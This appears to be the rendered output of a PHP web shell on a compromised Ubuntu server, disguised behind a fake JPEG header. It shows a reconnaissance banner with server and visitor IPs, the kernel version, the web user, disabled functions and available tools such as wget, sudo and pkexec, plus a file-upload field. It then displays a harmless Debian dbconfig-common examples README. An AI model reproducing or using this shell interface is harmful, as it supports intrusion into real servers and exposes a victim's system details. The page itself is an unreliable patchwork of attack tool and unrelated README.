????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.144.35.81 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/dbconfig-common/examples/ |
Upload File : |
hello! this directory contains a number of example packages which show how dbconfig-common can be used in various situations: - db-test-mysql a simple mysql database application. - db-test-mysql-perl like the above, but instead of using dbconfig-common's native setup code, the information is gathered and passed to a maintainer-provided or upstream-provided script. - db-test-mysql-frontend a "read-only frontend" package. this package prompts for all the pertinent information, but performs no database-modifying actions. - db-test-pgsql like db-test-mysql, but for applications that work with postgres. - db-test-pgsql-migration the same as above, but provided with a "1.9" version that doesn't use dbconfig-common, which illustrates how in the "2.0" version dbconfig-common can migrate previously existing settings. - db-test-multidbtype this package shows how dbconfig-common can be used to configure applications that work with any number of database types supported by dbconfig-common. currently this is only mysql/pgsql, but work is in progress to support others, such as oracle and sqlite. also, you probably see that one of the packages (db-test-mysql) has two versions available. this simply shows how dbconfig-common can support application upgrades that require making modifications to the underlying database. you can build all these packages at once by simply running the provided ./buildpackages.sh script if you're lazy :) enjoy! -- sean finney <seanius@debian.org> Sun, 02 Apr 2006 17:35:03 +0200